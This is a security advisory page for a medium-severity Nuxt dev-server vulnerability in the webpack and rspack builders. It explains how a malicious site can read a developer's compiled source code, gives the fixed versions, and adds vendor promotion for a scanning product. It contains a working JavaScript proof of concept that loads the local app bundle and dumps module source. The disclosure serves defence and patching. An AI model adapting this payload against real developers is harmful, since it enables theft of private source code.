GHSA-4gf7-ff8x-hq99
MEDIUMOpening a malicious website while running a Nuxt dev server could allow read-only access to code
EPSS Exploitation Probability
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Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@nuxt/webpack-buildernpm@nuxt/rspack-buildernpmDescription
Summary
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script.
By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.
PoC
- Create a nuxt project with webpack / rspack builder.
- Run
npm run dev - Open
http://localhost:3000 - Run the script below in a web site that has a different origin.
- You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
for (const page in window.webpackChunknuxt_app) {
const moduleList = window.webpackChunknuxt_app[page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)
It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the
sourcesContent field).
Impact
Users using webpack / rspack builder may get the source code stolen by malicious websites.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nuxt/webpack-builder | ≥ 3.0.0&&< 3.15.3 | 3.15.3 |
| 📦npm | @nuxt/rspack-builder | ≥ 3.12.2&&< 3.15.3 | 3.15.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nuxt/webpack-builder. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @nuxt/webpack-builder to 3.15.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4gf7-ff8x-hq99 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4gf7-ff8x-hq99 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4gf7-ff8x-hq99. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4gf7-ff8x-hq99 in your dependencies?
O3 detects GHSA-4gf7-ff8x-hq99 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.